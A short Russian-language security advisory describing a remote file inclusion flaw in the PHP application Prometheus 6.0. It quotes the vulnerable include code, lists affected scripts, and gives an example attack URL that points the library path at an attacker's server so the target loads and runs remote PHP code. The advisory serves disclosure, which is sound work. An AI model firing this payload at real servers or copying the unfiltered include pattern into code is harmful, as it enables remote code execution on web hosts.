Prometheus — Web-приложение, написанное на PHP. Обнаруженная уязвимость позволяет внедрять произвольный PHP код в Web приложение, который будет выполнен с привилегиями Web сервера. Проблема находится в следующем участке кода в prometheus-library/all.lib: 

if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) || 
$PROMETHEUS_LIBRARY_BASE == ») { 
$PROMETHEUS_LIBRARY_BASE = ‘./prometheus-library’; 

if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) { 
$PHP_AUTO_LOAD_LIB = 0; 

if ( ! isset( $PROMETHEUS_LIB_PATH ) ) { 
$PROMETHEUS_LIB_PATH = 0; 

if ( $PHP_AUTO_LOAD_LIB == 0 ) { 
include( $PROMETHEUS_LIBRARY_BASE . ‘/autoload.lib’ ); 

if ( $PROMETHEUS_LIB_PATH == 0 ) { 
include( $PROMETHEUS_LIBRARY_BASE . ‘/prometheus-lib.path’ ); 
}
 

Нападающий может вынудить приложение
загрузить зараженную версию autoload.lib и prometheus-lib.path, которая содержит произвольный PHP код, установив PHP_AUTO_LOAD_LIB в 0 и PROMETHEUS_LIBRARY_BASE
направив к удаленному серверу. Уязвимы следующие сценарии, в которых all.lib включен без какого либо фильтрования: 

index.php 
install.php 
test_*.php 

Пример нападения: 

http://target.server/prometheus-all/index.php? PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0 

Уязвимость обнаружена в Prometheus 6.0.



Оставить мнение